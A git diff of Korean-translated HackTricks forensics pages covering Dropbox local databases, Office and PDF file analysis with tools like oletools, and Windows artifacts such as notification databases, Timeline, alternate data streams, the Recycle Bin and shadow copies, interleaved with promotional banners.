* **block\_cache**: Dropbox의 모든 파일 및 폴더의 해시 * **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시
* **block\_ref**: `block_cache` 테이블의 해시 ID`file_journal` 테이블의 파일 ID와 관련시킴 * **block\_ref**: `block_cache` 테이블의 해시 ID`file_journal` 테이블의 파일 ID를 관련짓습니다.
* **mount\_table**: Dropbox의 공유 폴더 * **mount\_table**: 드롭박스의 공유 폴더
* **deleted\_fields**: 삭제된 Dropbox 파일 * **deleted\_fields**: 드롭박스에서 삭제된 파일
* **date\_added** * **date\_added**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# 오피스 파일 분석 # Office file analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
더 많은 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)에서 확인하세요. 이것은 요약입니다: For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
마이크로소프트는 많은 오피스 문서 형식을 만들었는데, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)이 있습니다. 이러한 형식에는 매크로가 포함될 수 있어서 피싱 및 악성 코드의 대상이 될 수 있습니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어 압축 해제를 통해 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다. Microsoft는 여러 가지 오피스 문서 형식을 만들었으며, 두 가지 주요 유형은 **OLE 형식**(RTF, DOC, XLS, PPT와 같은)과 **Office Open XML (OOXML) 형식**(DOCX, XLSX, PPTX와 같은)입니다. 이러한 형식은 매크로를 포함할 수 있어 피싱 및 악성 소프트웨어의 표적이 됩니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어 압축 해제를 통해 파일 및 폴더 계층 XML 파일 내용을 확인할 수 있습니다.
OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령어와 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다. OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 은닉에 대한 지속적인 혁신을 나타냅니다.
분석을 위해 **oletools** 및 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이 도구들은 포함된 매크로를 식별하고 분석하는 데 도움이 됩니다. 이러한 매크로는 주로 악성 코드 전달을 위한 벡터로 사용되며, 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Libre Office를 사용하여 Microsoft Office 없이 수행할 수 있으며, 이를 통해 중단점 및 감시 변수를 사용한 디버깅이 가능합니다. 분석을 위해 **oletools**와 **OfficeDissector**는 OLE 및 OOXML 문서를 검사하기 위한 포괄적인 도구 세트를 제공합니다. 이러한 도구는 종종 악성 소프트웨어 배포의 벡터 역할을 하는 임베디드 매크로를 식별하고 분석하는 데 도움을 줍니다. VBA 매크로 분석은 Libre Office를 활용하여 Microsoft Office 없이 수행할 수 있으며, 이는 중단점 및 감시 변수를 사용한 디버깅을 허용합니다.
**oletools**의 설치 및 사용은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령이 제공됩니다. `AutoOpen`, `AutoExec`, 또는 `Document_Open`과 같은 함수를 통해 매크로의 자동 실행이 트리거됩니다. **oletools**의 설치 및 사용은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령이 제공됩니다. 매크로의 자동 실행은 `AutoOpen`, `AutoExec` 또는 `Document_Open`과 같은 함수에 의해 트리거됩니다.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# PDF 파일 분석 # PDF 파일 분석
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가로 배우세요</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**자세한 내용은 여기를 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **자세한 내용은 다음을 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF 형식은 데이터를 숨기는 데 있어 복잡성과 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중심이 됩니다. 이는 평문 요소와 이진 객체를 결합하며, 압축되거나 암호화될 수 있는 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 Origami와 같은 텍스트 편집기 또는 PDF 전용 편집기와 같은 도구를 사용할 수 있습니다. PDF 형식은 복잡성과 데이터를 숨길 수 있는 잠재력으로 잘 알려져 있어 CTF 포렌식 챌린지의 중심이 됩니다. PDF는 일반 텍스트 요소와 이진 객체를 결합하며, 이는 압축되거나 암호화될 수 있고 JavaScript 또는 Flash와 같은 언어의 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [소개 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 텍스트 편집기 또는 Origami와 같은 PDF 전용 편집기를 사용할 수 있습니다.
PDF의 심층적인 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내의 숨겨진 데이터는 다음과 같이 숨겨질 수 있습니다: PDF를 심층적으로 탐색하거나 조작하기 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내 숨겨진 데이터는 다음에 숨겨져 있을 수 있습니다:
* 보이지 않는 레이어 * 보이지 않는 레이어
* Adobe의 XMP 메타데이터 형식 * Adobe의 XMP 메타데이터 형식
* 증분 세대 * 점진적 생성
* 배경과 동일한 색상의 텍스트 * 배경과 같은 색상의 텍스트
* 이미지 뒤에 숨겨진 텍스트 또는 이미지 겹침 * 이미지 뒤의 텍스트 또는 겹치는 이미지
* 표시되지 않는 주석 * 표시되지 않는 주석
사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 구문 분석 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성은 매우 크기 때문에 PDF 위험 및 대책에 대한 NSA 가이드와 같은 리소스는 원래 위치에 더 이상 호스팅되지 않지만 가치 있는 통찰을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 및 Ange Albertini의 [PDF 형식 트릭](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 해당 주제에 대한 추가 독서 자료를 제공할 수 있습니다. 맞춤형 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 파싱 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성은 매우 방대하여, 원래 위치에서 더 이상 호스팅되지 않지만 PDF 위험 및 대응 조치에 대한 NSA 가이드와 같은 자료는 여전히 귀중한 통찰력을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)과 Ange Albertini의 [PDF 형식 트릭 모음](https://github.com/corkami/docs/blob/master/PDF/PDF.md)은 이 주제에 대한 추가 읽기를 제공할 수 있습니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가로 배우세요</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# Windows 아티팩트 # Windows Artifacts
## Windows 아티팩트 ## Windows Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## 일반 Windows 아티팩트 ## Generic Windows Artifacts
### Windows 10 알림 ### Windows 10 Notifications
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` `appdb.dat` 데이터베이스(Windows Anniversary 이전) 또는 `wpndatabase.db` 데이터베이스(Windows Anniversary 이후)를 찾을 수 있습니다. 경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`서 데이터베이스 `appdb.dat` (Windows 기념일 이전) 또는 `wpndatabase.db` (Windows 기념일 이후)를 찾을 수 있습니다.
이 SQLite 데이터베이스 안에는 흥미로운 데이터를 포함할 수 있는 모든 알림(XML 형식)을 포함하`Notification` 테이블이 있습니다. 이 SQLite 데이터베이스 내부에는 흥미로운 데이터를 포함할 수 있는 모든 알림이 있`Notification` 테이블이 있습니다 (XML 형식).
### 타임라인 ### Timeline
타임라인은 방문한 웹 페이지, 편집된 문서 및 실행된 애플리케이션의 **시간순 역사**를 제공하는 Windows 특성입니다. Timeline은 방문한 웹 페이지, 편집된 문서 및 실행된 애플리케이션의 **연대기적 기록**을 제공하는 Windows의 특징입니다.
데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`있습니다. 이 데이터베이스는 SQLite 도구나 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열 수 있으며 **2개의 파일을 생성**하여 [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) 도구로 열 수 있습니다. 데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`위치합니다. 이 데이터베이스는 SQLite 도구 또는 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열 수 있으며, **이 도구는** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **로 열 수 있는 2개의 파일을 생성합니다.**
### ADS (대체 데이터 스트림) ### ADS (Alternate Data Streams)
다운로드된 파일에는 **어떻게** 인터넷, 인트라넷 등에서 **다운로드**되었는지를 나타내는 **ADS Zone.Identifier**가 포함될 수 있습니다. 일부 소프트웨어(브라우저와 같은)는 파일이 다운로드된 **URL**과 같은 **추가 정보**를 포함하는 경우가 있습니다. 다운로드된 파일에는 **ADS Zone.Identifier**가 포함되어 있어 **어떻게** 인트라넷, 인터넷 등에서 **다운로드되었는지** 나타냅니다. 일부 소프트웨어(브라우저와 같은)는 파일이 다운로드된 **URL**과 같은 **더 많은 정보**를 추가하는 경우가 많습니다.
## **파일 백업** ## **File Backups**
### 휴지통 ### Recycle Bin
Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트(`C:\$Recycle.bin`)에 있는 폴더 **`$Recycle.bin`**에서 찾을 수 있습니다.\ Vista/Win7/Win8/Win10에서 **Recycle Bin**은 드라이브의 루트에 있는 폴더 **`$Recycle.bin`**에서 찾을 수 있습니다 (`C:\$Recycle.bin`).\
이 폴더에서 파일이 삭제되면 2개의 특정 파일이 생성됩니다: 이 폴더에서 파일이 삭제되면 2개의 특정 파일이 생성됩니다:
* `$I{id}`: 파일 정보 (삭제된 날짜) * `$I{id}`: 파일 정보 (삭제된 날짜)
@ -46,113 +47,115 @@ Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트(`C:\$Recycle.bi
![](<../../../.gitbook/assets/image (1029).png>) ![](<../../../.gitbook/assets/image (1029).png>)
러한 파일을 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있는 도구 [**Rifiuti**](https://github.com/abelcheung/rifiuti2)를 사용할 수 있습니다(`rifiuti-vista.exe`를 Vista - Win10에 사용). 파일들이 있으면 도구 [**Rifiuti**](https://github.com/abelcheung/rifiuti2)를 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 확인할 수 있습니다 (Vista Win10의 경우 `rifiuti-vista.exe` 사용).
``` ```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
``` ```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### 볼륨 그림자 사본 ### 볼륨 섀도 복사본
그림자 사본은 사용 중인 파일 또는 볼륨의 **백업 사본** 또는 스냅숏을 만들 수 있는 Microsoft Windows에 포함된 기술입니다. 섀도 복사는 Microsoft Windows에 포함된 기술로, 컴퓨터 파일이나 볼륨의 **백업 복사본** 또는 스냅샷을 생성할 수 있습니다. 사용 중일 때도 가능합니다.
러한 백업은 일반적으로 파일 시스템 루트의 `\System Volume Information`에 위치하며 이름은 다음 이미지에 표시된 **UIDs**로 구성됩니다: 백업은 일반적으로 파일 시스템의 루트에 있는 `\System Volume Information`에 위치하며, 이름은 다음 이미지에 표시된 **UID**로 구성됩니다:
![](<../../../.gitbook/assets/image (94).png>) ![](<../../../.gitbook/assets/image (94).png>)
